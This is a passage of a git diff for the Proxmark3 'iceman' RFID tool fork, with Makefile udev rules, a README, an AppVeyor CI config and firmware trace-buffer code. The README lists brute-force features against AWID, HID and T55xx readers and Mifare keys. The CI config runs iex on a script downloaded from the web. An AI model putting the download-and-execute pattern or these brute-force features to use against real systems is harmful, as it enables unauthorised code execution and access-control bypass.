armsrc/obj/osimage.elf armsrc/obj/fpgaimage.elf $(FLASH_TOOL) +flash-all: bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf $(FLASH_TOOL) $(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$(filter-out $(FLASH_TOOL),$^)) newtarbin: @@ -53,5 +71,22 @@ newtarbin: tarbin: newtarbin client/tarbin armsrc/tarbin bootrom/tarbin $(GZIP) proxmark3-$(platform)-bin.tar +# configure system +# - to ignore PM3 device as a modem (blacklist) +# - add user to the dialout group +# you may need to logout, relogin to get this access right correct. +# Finally, you might need to run the proxmark3 client under SUDO on some systems +udev: + sudo cp -rf driver/77-mm-usb-device-blacklist.rules /etc/udev/rules.d/77-mm-usb-device-blacklist.rules + sudo udevadm control --reload-rules +ifneq ($(wildcard /etc/arch-release),) #If user is running ArchLinux + sudo usermod -aG uucp $(USER) #Use specific command and group +else + sudo adduser $(USER) dialout +endif + +# easy printing of MAKE VARIABLES +print-%: ; @echo $* = $($*) + # Dummy target to test for GNU make availability _test: diff --git a/README.md b/README.md new file mode 100644 index 000000000..e33685184 --- /dev/null +++ b/README.md @@ -0,0 +1,225 @@ +Iceman fork +=============== +[![Build Status](https://travis-ci.org/iceman1001/proxmark3.svg?branch=master)](https://travis-ci.org/iceman1001/proxmark3)[![Coverity Status](https://scan.coverity.com/projects/5117/badge.svg)](https://scan.coverity.com/project/proxmark3_iceman_fork)[![Latest release](https://img.shields.io/github/release/iceman1001/proxmark3.svg)](https://github.com/iceman1001/proxmark3/releases/latest) + +## This fork is HIGHLY experimental and bleeding edge + + +The kickstarter for the latest revision of proxmark is out. +[proxmark3 rdv4.0](https://www.kickstarter.com/projects/1408815241/proxmark3-rdv-40) + +That one is a beauty! + + + + +## Nothing says thank you as much as a donation +https://paypal.me/iceman1001/ Feel free to donate. All support is welcome. + +monereo: 43mNJLpgBVaTvyZmX9ajcohpvVkaRy1kbZPm8tqAb7itZgfuYecgkRF36rXrKFUkwEGeZedPsASRxgv4HPBHvJwyJdyvQuP + +## Notice +There is so much in this fork, with all fixes and additions its basically the most enhanced fork to this day for the Proxmark3 device. Which makes it so awesum to play with. Do please play with it. Get excited and experiment. As a side note with all coverity scan fixes this client is much more stable than PM3 Master even if I tend to break it sometimes. I'll try to make a release when this fork becomes stable between my experiments. + +## Coverity Scan Config & Run +Download the Coverity Scan Self-buld and install it. +You will need to configure ARM-NON-EABI- Compiler for it to use: + +- Configure + +`cov-configure --comptype gcc --compiler /opt/devkitpro/devkitARM/bin/arm-none-eabi-gcc` + +- Run it (I'm running on Ubuntu) + +`cov-build --dir cov-int make all` + +- Make a tarball + +`tar czvf proxmark3.tgz cov-int` + +- Upload it to coverity.com + + +## Whats changed? +Whats so special with this fork? I have scraped the web for different enhancements to the PM3 source code and not all of them ever found their way to the master branch. +Among the stuff is + + * Jonor's hf 14a raw timing patch + * Piwi's updates. (usually gets into the master) + * Piwi's "topaz" branch + * Piwi's "hardnested" branch + * Holiman's iclass, (usually gets into the master) + * Marshmellow's fixes (usually gets into the master) + * Midnitesnake's Ultralight, Ultralight-c enhancements + * Izsh's lf peak modification / iir-filtering + * Aspers's tips and tricks from inside the PM3-gui-tool, settings.xml and other stuff. + * My own desfire, Ultralight extras, LF T55xx enhancements, bugs fixes (filelength, hf mf commands ), TNP3xxx lua scripts, Awid26, skidata scripts (will come) + * other obscure patches like for the sammy-mode, (offline you know), tagidentifications, defaultkeys. + * Minor textual changes here and there. + * Simulation of Ultralight/Ntag. + * Marshmellow's and my "RevEng" addon for the client. Ref: http://reveng.sourceforge.net/ Now using reveng1.44 + * J-Run alternative bruteforce Mifare nested auths.. (you need one other exe to make it work) + * A Bruteforce for T55XX passwords against tag. + * A Bruteforce for AWID 26, starting w a facilitycode then trying all 0xFFFF cardnumbers via simulation. To be used against a AWID Reader. + * A Bruteforce for HID, starting w a facilitycode then trying all 0xFFFF cardnumbers via simulation. To be used against a HID Reader. + * Blaposts Crapto1 v3.3 + * Icsom's legic script and legic enhancements + * Aczid's bitsliced bruteforce solver in 'hf mf hardnested' + +--- +## Why don't you merged with offical PM3 Master? +Me fiddling with the code so much, there is a nightmare in merging a PR. I will never find time to do PR because of it. Much of what you find here is not in the interest for offical PM3. However and luckily I have @marshmellow42 who takes some stuff and push PR's back. The separation from offical pm3 repo gives me very much freedom to create a firmware/client in the way I want to use the PM3. + +## Why don't you add this or that functionality? +Give me a hint, and I'll see if I can't merge in the stuff you have. + +## PM3 GUI +I do tend to rename and move stuff around, the official PM3-GUI from Gaucho will not work so well. *sorry* + +## Development +This fork now compiles just fine on + - Windows/mingw environment with Qt5.6.1 & GCC 4.8 + - Ubuntu 1404, 1510, 1604 + - Mac OS X / Homebrew + - Docker container + +## Setup and build for UBUNTU +GC made updates to allow this to build easily on Ubuntu 14.04.2 LTS, 15.10 or 16.04 +See https://github.com/Proxmark/proxmark3/wiki/Ubuntu%20Linux + +A nice and cool install script made by @daveio is found here: +https://github.com/daveio/attacksurface/blob/master/proxmark3/pm3-setup.sh +I have also added this script to the fork. +https://github.com/iceman1001/proxmark3/blob/master/install.sh + +- Run +`sudo apt-get install p7zip git build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi` + +- Clone iceman fork +`git clone https://github.com/iceman1001/proxmark3.git` + +- Get the latest commits +`git pull` + +- Install the blacklist rules and add user to dialout group (if you on a Linux/ubuntu/debian). If you do this one, you need to logout and login in again to make sure your rights got changed. +`make udev` + +- Clean and complete compilation +`make clean && make all` + +- Flash the BOOTROM & FULLIMAGE +`client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf` + +- Change into the client folder +`cd client` + +- Run the client +`./proxmark3 /dev/ttyACM0` + +## Setup and build for ArchLinux +- Run +`sudo pacman -Sy base-devel p7zip libusb readline ncurses arm-none-eabi-newlib --needed` +`yaourt -S termcap` + +- Clone iceman fork +`git clone https://github.com/iceman1001/proxmark3.git` + +- Get the latest commits +`git pull` + +- Install the blacklist rules and add user to dialout group (if you on a Linux/ubuntu/debian). If you do this one, you need to logout and login in again to make sure your rights got changed. +`make udev` + +- Clean and complete compilation +`make clean && make all` + +- Flash the BOOTROM & FULLIMAGE +`client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf` + +- Change into the client folder +`cd client` + +- Run the client +`./proxmark3 /dev/ttyACM0` + +## Homebrew (Mac OS X) +These instructions comes from @Chrisfu, where I got the proxmark3.rb scriptfile from. +Further questions about Mac & Homebrew, contact @Chrisfu (https://github.com/chrisfu/) + +1. Install homebrew if you haven't yet already done so: http://brew.sh/ + +2. Tap this repo: `brew tap iceman1001/proxmark3` + +3. Install Proxmark3: `brew install proxmark3` for stable release or `brew install --HEAD proxmark3` for latest non-stable from GitHub. + +Upgrading HomeBrew tap formula +----------------------------- +*This method is useful for those looking to run bleeding-edge versions of iceman's client. Keep this in mind when attempting to update your HomeBrew tap formula as this procedure could easily cause a build to break if an update is unstable on macOS.* + +Tested on macOS High Sierra 10.13.2 + +*Note: This assumes you have already installed iceman's fork from HomeBrew as mentioned above* + +1. Force HomeBrew to pull the latest source from github +`brew upgrade --fetch-HEAD iceman1001/proxmark3/proxmark3` + +2. Flash the bootloader & fullimage.elf + * With your Proxmark3 unplugged from your machine, press and hold the button on your Proxmark 3 as you plug it into a USB port. Continue to hold the button until after this step is complete and the `proxmark3-flasher` command outputs "Have a nice day!"* + `$ sudo proxmark3-flasher /dev/tty.usbmodem881 -b /usr/local/Cellar/proxmark3/HEAD-6a710ef/share/firmware/bootrom.elf /usr/local/Cellar/proxmark3/HEAD-6a710ef/share/firmware/fullimage.elf` + + +`$ sudo proxmark3-flasher /dev/tty.usbmodem881 ` + +4. Enjoy the update + +## Docker container +I recently added a docker container on Docker HUB. You find it here: https://hub.docker.com/r/iceman1001/proxmark3/ +Follow those instructions to get it up and running. No need for the old proxspace-environment anymore. + +-[1.6.0] How to start: https://www.youtube.com/watch?v=b5Zta89Cf6Q +-[1.6.0] How to connect: https://youtu.be/0ZS2t5C-caI +-[1.6.1] How to flash: https://www.youtube.com/watch?v=WXouhuGYEiw + +Recommendations: Use only latest container. + + +## Building on Windows + +### Gator96100 distro +Rather than download and install every one of these packages, a new ProxSpace +environment archive file will be made available for download on the project +page at @Gator96100's repo + +Afterwards just clone the iceman repo or download someone elses. +Read instructions on @Gator96100 repo page. (https://github.com/Gator96100/ProxSpace/) + +Links +- https://github.com/Gator96100/ProxSpace/archive/master.zip +- https://github.com/Gator96100/ProxSpace/releases/tag/v2.2 (release v2.2 with gcc v5.3.0 arm-none-eabi-gcc v7.1.0) +- https://github.com/Gator96100/ProxSpace/releases/tag/v2.1 (release v2.1 with gcc v5.3.0) + + +### 7. Build and run + +- Clone iceman fork +`git clone https://github.com/iceman1001/proxmark3.git` + +- Get the latest commits +`git pull` + +- CLEAN COMPILE +`make clean && make all` + +Assuming you have Proxmark3 Windows drivers installed you can run the Proxmark software where "X" is the com port number assigned to proxmark3 under Windows. + +- Flash the BOOTROM & FULLIMAGE +`client/flasher.exe comX -b bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf` + +- Change into the client folder +`cd client` + +- Run the client +`proxmark3.exe comX` + +iceman at host iuse.se +January 2015, Sweden diff --git a/README.txt b/README.txt deleted file mode 100644 index ce5eacf45..000000000 --- a/README.txt +++ /dev/null @@ -1,88 +0,0 @@ -NOTICE: -(2014-03-26) -This is now the official Proxmark repository! - -INTRODUCTION: - -The proxmark3 is a powerful general purpose RFID tool, the size of a deck -of cards, designed to snoop, listen and emulate everything from -Low Frequency (125kHz) to High Frequency (13.56MHz) tags. - -This repository contains enough software, logic (for the FPGA), and design -documentation for the hardware that you could, at least in theory, -do something useful with a proxmark3. - -RESOURCES: - - * This repository! - https://github.com/Proxmark/proxmark3 - - * The Wiki - https://github.com/Proxmark/proxmark3/wiki - - * The GitHub page - http://proxmark.github.io/proxmark3/ - - * The Forum - http://www.proxmark.org/forum - - * The IRC chanel - irc.freenode.org #proxmark3 - -or- - http://webchat.freenode.net/?channels=#proxmark3 - -DEVELOPMENT: - -The tools required to build or run the project will vary depending on -your operating system. Please refer to the Wiki for details. - - * https://github.com/Proxmark/proxmark3/wiki - -OBTAINING HARDWARE: - -The Proxmark 3 is available for purcahse (assembled and tested) from the -following locations: - - * http://proxmark3.com/ - * http://www.xfpga.com/ - -Most of the ultra-low-volume contract assemblers could put -something like this together with a reasonable yield. A run of around -a dozen units is probably cost-effective. The BOM includes (possibly- -outdated) component pricing, and everything is available from Digikey -and the usual distributors. - -If you've never assembled a modern circuit board by hand, then this is -not a good place to start. Some of the components (e.g. the crystals) -must not be assembled with a soldering iron, and require hot air. - -The schematics are included; the component values given are not -necessarily correct for all situations, but it should be possible to do -nearly anything you would want with appropriate population options. - -The printed circuit board artwork is also available, as Gerbers and an -Excellon drill file. - - -LICENSING: - -This program is free software; you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation; either version 2 of the License, or -(at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - - -Jonathan Westhues -user jwesthues, at host cq.cx - -May 2007, Cambridge MA - diff --git a/appveyor.yml b/appveyor.yml new file mode 100644 index 000000000..65aeab1d9 --- /dev/null +++ b/appveyor.yml @@ -0,0 +1,290 @@ +version: 3.0.1.{build} +image: Visual Studio 2017 +clone_folder: C:\ProxSpace\pm3 +init: +- ps: >- + $psversiontable + + #Get-ChildItem Env: + + + $releasename="" + + $env:APPVEYOR_REPO_COMMIT_SHORT = $env:APPVEYOR_REPO_COMMIT.Substring(0, 8) + + if ($env:appveyor_repo_tag -match "true"){ + $releasename=$env:APPVEYOR_REPO_TAG_NAME + "/" + } + + $releasename+=$env:APPVEYOR_BUILD_VERSION + " [" + $env:APPVEYOR_REPO_COMMIT_SHORT + "]" + + + Write-Host "repository: $env:appveyor_repo_name branch:$env:APPVEYOR_REPO_BRANCH release: $releasename" -ForegroundColor Yellow + + Add-AppveyorMessage -Message "[$env:APPVEYOR_REPO_COMMIT_SHORT]$env:appveyor_repo_name($env:APPVEYOR_REPO_BRANCH)" -Category Information -Details "repository: $env:appveyor_repo_name branch: $env:APPVEYOR_REPO_BRANCH release: $releasename" + + + iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1')) +clone_script: +- ps: >- + Write-Host "Removing ProxSpace..." -NoNewLine + + cd \ + + Remove-Item -Recurse -Force -Path c:\ProxSpace\* + + Write-Host "[ OK ]" -ForegroundColor Green + + + Write-Host "Git clone ProxSpace..." -NoNewLine + + git clone -q https://github.com/Gator96100/ProxSpace c:\ProxSpace + + Write-Host "[ OK ]" -ForegroundColor Green + + + Write-Host "Removing pm3 dir..." -NoNewLine + + Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\* + + Write-Host "[ OK ]" -ForegroundColor Green + + + Write-Host "Cloning repository <$env:appveyor_repo_name> to $env:appveyor_build_folder ..." -NoNewLine + + if(-not $env:appveyor_pull_request_number) { + git clone -q --branch=$env:appveyor_repo_branch https://github.com/$env:appveyor_repo_name.git $env:appveyor_build_folder + cd $env:appveyor_build_folder + git checkout -qf $env:appveyor_repo_commit + } else { + git clone -q https://github.com/$env:appveyor_repo_name.git $env:appveyor_build_folder + cd $env:appveyor_build_folder + git fetch -q origin +refs/pull/$env:appveyor_pull_request_number/merge: + git checkout -qf FETCH_HEAD + } + + Write-Host "[ OK ]" -ForegroundColor Green + + + Write-Host "Fill msys\etc\fstab file..." -NoNewLine + + New-Item c:\ProxSpace\msys\etc\fstab -type file -force -value "#Win32_Path Mount_Point`nc:\ProxSpace\devkitARM /devkitARM`nc:\ProxSpace\Qt\5.6 /qt `nc:\ProxSpace\pm3 /pm3`n" + + Write-Host "[ OK ]" -ForegroundColor Green +install: +- ps: >- + function Exec-External { + param( + [Parameter(Position=0,Mandatory=1)][scriptblock] $command + ) + & $command + if ($LASTEXITCODE -ne 0) { + throw ("Command returned non-zero error-code ${LASTEXITCODE}: $command") + } + } +build_script: +- ps: >- + $env:Path = "C:\ProxSpace\msys\bin;$env:Path" + + + #make + + bash -lc -i "pwd;make all" + + + #some checks + + if(!(Test-Path C:\ProxSpace\pm3\client\proxmark3.exe)){ + + throw "Main file proxmark3.exe not exists." + + } + + if(!(Test-Path C:\ProxSpace\pm3\armsrc\obj\fullimage.elf)){ + + throw "ARM file fullimage.elf not exists." + + } + + if(!(Test-Path C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z)){ + + throw "Files in hardnested\tables not exists." + + } + + + #copy + + Write-Host "Copy release files..." -NoNewLine -ForegroundColor Yellow + + New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release + + Copy-Item C:\ProxSpace\pm3\client\*.exe C:\ProxSpace\Release + + New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\arm + + Copy-Item C:\ProxSpace\pm3\armsrc\obj\*.elf C:\ProxSpace\Release\arm + + Copy-Item C:\ProxSpace\pm3\bootrom\obj\*.elf C:\ProxSpace\Release\arm + + New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\scripts + + Copy-Item C:\ProxSpace\pm3\client\scripts\*.lua C:\ProxSpace\Release\scripts + + New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\hardnested\tables + + Copy-Item C:\ProxSpace\pm3\client\hardnested\*.bin C:\ProxSpace\Release\hardnested + + Copy-Item C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z C:\ProxSpace\Release\hardnested\tables + + Write-Host "[ OK ]" -ForegroundColor Green + + + #archive and push + + $releasename="" + + if ($env:appveyor_repo_tag -match "true"){ + + $releasename=$env:APPVEYOR_REPO_TAG_NAME + "/" + + } + + $releasename+=$env:APPVEYOR_BUILD_VERSION + " [" + $env:APPVEYOR_REPO_COMMIT.Substring(0, 7) + "]" + + + Write-Host "Archive and publish release files ($releasename)..." -NoNewLine -ForegroundColor Yellow + + cd C:\ProxSpace + + 7z a release.zip C:\ProxSpace\Release + + Push-AppveyorArtifact release.zip -DeploymentName "$releasename" + + Write-Host "[ OK ]" -ForegroundColor Green + + + Write-Host "Builded..." -ForegroundColor Yellow +test_script: +- ps: >- + $env:Path = "C:\ProxSpace\msys\bin;$env:Path" + + cd c:\ProxSpace\pm3 + + + $global:TestsPassed=$true + + + Function ExecTest($Name, $File, $Cmd, $CheckResult) { + + #--- begin Job + + $Job = Start-Job -ScriptBlock { + [bool]$res=$false + $TestTime=[System.Environment]::TickCount + $env:Path = "C:\ProxSpace\msys\bin;$env:Path" + Set-Location $using:PWD + + $sb=[scriptblock]::Create("$using:Cmd") + #execute scriptblock + Write-host "Test [$using:Name] job: $using:Cmd" + $Cond=&$sb + + if ($Cond -eq $null){ + } ElseIf($using:CheckResult -ne $null) { + [String]$searchstr="" + if ($Cond -is [Object]){ + ForEach($line in $Cond){ + Write-host $line -ForegroundColor Gray + $searchstr += $line + } + }else{ + Write-host "$Cond" -ForegroundColor Gray + $searchstr = $Cond + } + If($searchstr -like "*$using:CheckResult*") { + $res=$true + } + $Cond="*$using:CheckResult*" + } Else { + If (!($Cond -is [bool] -or $Cond -is [byte] -or $Cond -is [int16] -or $Cond -is [int32] -or $Cond -is [int64] -or $Cond -is [float])){ + if ($Cond -is "String" -and $Cond -like "*passed*"){ + $res= $true + } + if ($Cond -is "String" -and $Cond -like "*true*"){ + $res= $true + } + } Else { + $res=$Cond + } + } + + If ($res) { + Write-host "Result[$using:Name]: $Cond" -ForegroundColor Green + Add-AppveyorTest -Name "$using:Name" -Framework NUnit -Filename "$using:File" -Outcome Passed -Duration "$([System.Environment]::TickCount-$TestTime)" + }Else { + Write-host "Result[$using:Name]: $Cond" -ForegroundColor Red + Add-AppveyorTest -Name "$using:Name" -Framework NUnit -Filename "$using:File" -Outcome Failed -Duration "$([System.Environment]::TickCount-$TestTime)" -ErrorMessage "command:$using:Cmd`nresult:$Cond" + } + return $res + } + + #--- end Job + + [bool]$res=$false + # Wait 60 sec timeout for Job + if(Wait-Job $Job -Timeout 60){ + $Results = $Job | Receive-Job + if($Results -like "true"){ + $res=$true + } + } else { + Write-host "Test [$Name] timeout" -ForegroundColor Red + Add-AppveyorTest -Name "$Name" -Framework NUnit -Filename "$File" -Outcome Failed -Duration 60000 -ErrorMessage "timeout" + } + Remove-Job -Force $Job + + if(!$res){ + $global:TestsPassed=$false + } + } + + + Write-Host "Running tests..." -ForegroundColor Yellow + + + #file test + + ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\Release\proxmark3.exe} + + ExecTest "arm image exists" "\arm\fullimage1.elf" {Test-Path C:\ProxSpace\Release\arm\fullimage.elf} + + ExecTest "bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\Release\arm\bootrom.elf} + + ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\Release\hardnested\tables\*.z} + + ExecTest "release exists" "release.zip" {Test-Path C:\ProxSpace\release.zip} + + + #proxmark logic tests + + ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;proxmark3 -h | grep -q Execute && echo Passed || echo Failed'} + + ExecTest "proxmark help hardnested" "proxmark3 -h" {bash -lc 'cd ~/client;proxmark3 -h | grep -q hardnested && echo Passed || echo Failed'} + + ExecTest "hf mf offline text" "hf mf" {bash -lc "cd ~/client;proxmark3 comx -c 'hf mf'"} "at_enc" + + ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;proxmark3 comx -c 'hf mf hardnested t 1 000000000000'"} "found:" + + if ($global:TestsPassed) { + Write-Host "Tests [ OK ]" -ForegroundColor Green + } else { + Write-Host "Tests [ ERROR ]" -ForegroundColor Red + throw "Tests error." + } +on_success: +- ps: Write-Host "Build success..." -ForegroundColor Green +on_failure: +- ps: Write-Host "Build error." -ForegroundColor Red +on_finish: +- ps: $blockRdp = $false; iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1')) diff --git a/armsrc/BigBuf.c b/armsrc/BigBuf.c new file mode 100644 index 000000000..c1bea6887 --- /dev/null +++ b/armsrc/BigBuf.c @@ -0,0 +1,266 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// BigBuf and functions to allocate/free parts of it. +//----------------------------------------------------------------------------- +#include "BigBuf.h" + +// BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces. +// Also used to hold various smaller buffers and the Mifare Emulator Memory. +// declare it as uint32_t to achieve alignment to 4 Byte boundary +static uint32_t BigBuf[BIGBUF_SIZE/sizeof(uint32_t)]; + +/* BigBuf memory layout: +Pointer to highest available memory: BigBuf_hi + + high BIGBUF_SIZE + reserved = BigBuf_malloc() subtracts amount from BigBuf_hi, + low 0x00 +*/ + +// High memory mark +static uint16_t BigBuf_hi = BIGBUF_SIZE; + +// pointer to the emulator memory. +static uint8_t *emulator_memory = NULL; + +// trace related variables +static uint16_t traceLen = 0; +int tracing = 1; //Last global one.. todo static? + +// get the address of BigBuf +uint8_t *BigBuf_get_addr(void) +{ + return (uint8_t *)BigBuf; +} + +// get the address of the emulator memory. Allocate part of Bigbuf for it, if not yet done +uint8_t *BigBuf_get_EM_addr(void) +{ + // not yet allocated + if (emulator_memory == NULL) + emulator_memory = BigBuf_malloc(CARD_MEMORY_SIZE); + + return emulator_memory; +} + +// clear ALL of BigBuf +void BigBuf_Clear(void) +{ + BigBuf_Clear_ext(true); +} + +// clear ALL of BigBuf +void BigBuf_Clear_ext(bool verbose) +{ + memset(BigBuf, 0, BIGBUF_SIZE); + if (verbose) + Dbprintf("Buffer cleared (%i bytes)", BIGBUF_SIZE); +} + +void BigBuf_Clear_EM(void){ + memset(BigBuf_get_EM_addr(), 0, CARD_MEMORY_SIZE); +} + +void BigBuf_Clear_keep_EM(void) +{ + memset(BigBuf, 0, BigBuf_hi); +} + +// allocate a chunk of memory from BigBuf. We allocate high memory first. The unallocated memory +// at the beginning of BigBuf is always for traces/samples +uint8_t *BigBuf_malloc(uint16_t chunksize) +{ + if (BigBuf_hi - chunksize < 0) { + return NULL; // no memory left + } else { + chunksize = (chunksize + 3) & 0xfffc; // round to next multiple of 4 + BigBuf_hi -= chunksize; // aligned to 4 Byte boundary + return (uint8_t *)BigBuf + BigBuf_hi; + } +} + +// free ALL allocated chunks. The whole BigBuf is available for traces or samples again. +void BigBuf_free(void) +{ + BigBuf_hi = BIGBUF_SIZE; + emulator_memory = NULL; + + // shouldn't this empty BigBuf also? +} + +// free allocated chunks EXCEPT the emulator memory +void BigBuf_free_keep_EM(void) +{ + if (emulator_memory != NULL) + BigBuf_hi = emulator_memory - (uint8_t *)BigBuf; + else + BigBuf_hi = BIGBUF_SIZE; + + // shouldn't this empty BigBuf also? +} + +void BigBuf_print_status(void) +{ + Dbprintf("Memory"); + Dbprintf(" BIGBUF_SIZE.............%d", BIGBUF_SIZE); + Dbprintf(" Available memory........%d", BigBuf_hi); + Dbprintf("Tracing"); + Dbprintf(" tracing ................%d", tracing); + Dbprintf(" traceLen ...............%d", traceLen); +} + +// return the maximum trace length (i.e. the unallocated size of BigBuf) +uint16_t BigBuf_max_traceLen(void) +{ + return BigBuf_hi; +} + +void clear_trace() { + traceLen = 0; +} +void set_tracelen(uint16_t value) { + traceLen = value; +} +void set_tracing(bool enable) { + tracing = enable; +} + +bool get_tracing(void) { + return tracing; +} + +/** + * Get the number of bytes traced + * @return + */ +uint16_t BigBuf_get_traceLen(void) +{ + return traceLen; +} + +/** + This is a function to store traces. All protocols can use this generic tracer-function. + The traces produced by calling this function can be fetched on the client-side + by 'hf list raw', alternatively 'hf list ' for protocol-specific + annotation of commands/responses. +**/ +bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag) +{ + if (!tracing) return false; + + uint8_t *trace = BigBuf_get_addr(); + + uint16_t num_paritybytes = (iLen-1)/8 + 1; // number of valid paritybytes in *parity + uint16_t duration = timestamp_end - timestamp_start; + + // Return when trace is full + if (traceLen + sizeof(iLen) + sizeof(timestamp_start) + sizeof(duration) + num_paritybytes + iLen >= BigBuf_max_traceLen()) { + tracing = false; // don't trace any more + return false; + } + // Traceformat: + // 32 bits timestamp (little endian) + // 16 bits duration (little endian) + // 16 bits data length (little endian, Highest Bit used as readerToTag flag) + // y Bytes data + // x Bytes parity (one byte per 8 bytes data) + + // timestamp (start) + trace[traceLen++] = ((timestamp_start >> 0) & 0xff); + trace[traceLen++] = ((timestamp_start >> 8) & 0xff); + trace[traceLen++] = ((timestamp_start >> 16) & 0xff); + trace[traceLen++] = ((timestamp_start >> 24) & 0xff); + + // duration + trace[traceLen++] = ((duration >> 0) & 0xff); + trace[traceLen++] = ((duration >> 8) & 0xff); + + // data length + trace[traceLen++] = ((iLen >> 0) & 0xff); + trace[traceLen++] = ((iLen >> 8) & 0xff); + + // readerToTag flag + if (!readerToTag) { + trace[traceLen - 1] |= 0x80; + } + + // data bytes + if (btBytes != NULL && iLen != 0) { + memcpy(trace + traceLen, btBytes, iLen); + } + traceLen += iLen; + + // parity bytes + if (num_paritybytes != 0) { + if (parity != NULL) { + memcpy(trace + traceLen, parity, num_paritybytes); + } else { + memset(trace + traceLen, 0x00, num_paritybytes); + } + } + traceLen += num_paritybytes; + + return true; +} + + +int LogTraceHitag(const uint8_t * btBytes, int iBits, int iSamples, uint32_t dwParity, int readerToTag) +{ + /** + Todo, rewrite the logger to use the generic functionality instead. It should be noted, however, + that this logger takes number of bits as argument, not number of bytes. + **/ + + if (!tracing) return false; + + uint8_t *trace = BigBuf_get_addr(); + uint16_t iLen = nbytes(iBits); + // Return when trace is full + if (traceLen + sizeof(rsamples) + sizeof(dwParity) + sizeof(iBits) + iLen > BigBuf_max_traceLen()) return false; + + //Hitag traces appear to use this traceformat: + // 32 bits timestamp (little endian,Highest Bit used as readerToTag flag) + // 32 bits parity + // 8 bits size (number of bits in the trace entry, not number of bytes) + // y Bytes data + + rsamples += iSamples; + trace[traceLen++] = ((rsamples >> 0) & 0xff); + trace[traceLen++] = ((rsamples >> 8) & 0xff); + trace[traceLen++] = ((rsamples >> 16) & 0xff); + trace[traceLen++] = ((rsamples >> 24) & 0xff); + + if (!readerToTag) { + trace[traceLen - 1] |= 0x80; + } + + trace[traceLen++] = ((dwParity >> 0) & 0xff); + trace[traceLen++] = ((dwParity >> 8) & 0xff); + trace[traceLen++] = ((dwParity >> 16) & 0xff); + trace[traceLen++] = ((dwParity >> 24) & 0xff); + trace[traceLen++] = iBits; + + memcpy(trace + traceLen, btBytes, iLen); + traceLen += iLen; + + return true; +} + + +// Emulator memory +uint8_t emlSet(uint8_t *data, uint32_t offset, uint32_t length){ + uint8_t* mem = BigBuf_get_EM_addr(); + if(offset+length < CARD_MEMORY_SIZE) { + memcpy(mem+offset, data, length); + return 0; + } else { + Dbprintf("Error, trying to set memory outside of bounds! %d > %d", (offset+length), CARD_MEMORY_SIZE); + return 1; + } +} diff --git a/armsrc/BigBuf.h b/armsrc/BigBuf.h new file mode 100644 index 000000000..e8c6f5cd4 --- /dev/null +++ b/armsrc/BigBuf.h @@ -0,0 +1,47 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Gerhard de Koning Gans, April 2008, May 2011 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// BigBuf and functions to allocate/free parts of it. +//----------------------------------------------------------------------------- + +#ifndef __BIGBUF_H +#define __BIGBUF_H + +#include // for bool +#include "proxmark3.h" +#include "string.h" +#include "ticks.h" + +#define BIGBUF_SIZE 40000 +#define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame +#define MAX_PARITY_SIZE ((MAX_FRAME_SIZE + 7) / 8) +#define MAX_MIFARE_FRAME_SIZE 18 // biggest Mifare frame is answer to a read (one block = 16 Bytes) + 2 Bytes CRC +#define MAX_MIFARE_PARITY_SIZE 3 // need 18 parity bits for the 18 Byte above. 3 Bytes are enough to store these +#define CARD_MEMORY_SIZE 4096 +#define DMA_BUFFER_SIZE 256 //128 (how big is the dma?!? + +extern uint8_t *BigBuf_get_addr(void); +extern uint8_t *BigBuf_get_EM_addr(void); +extern uint16_t BigBuf_max_traceLen(void); +extern void BigBuf_Clear(void); +extern void BigBuf_Clear_ext(bool verbose); +extern void BigBuf_Clear_keep_EM(void); +extern void BigBuf_Clear_EM(void); +extern uint8_t *BigBuf_malloc(uint16_t); +extern void BigBuf_free(void); +extern void BigBuf_free_keep_EM(void); +extern void BigBuf_print_status(void); +extern uint16_t BigBuf_get_traceLen(void); +extern void clear_trace(void); +extern void set_tracing(bool enable); +extern void set_tracelen(uint16_t value); +extern bool get_tracing(void); +extern bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, uint8_t *parity, bool readerToTag); +extern int LogTraceHitag(const uint8_t * btBytes, int iBits, int iSamples, uint32_t dwParity, int bReader); +extern uint8_t 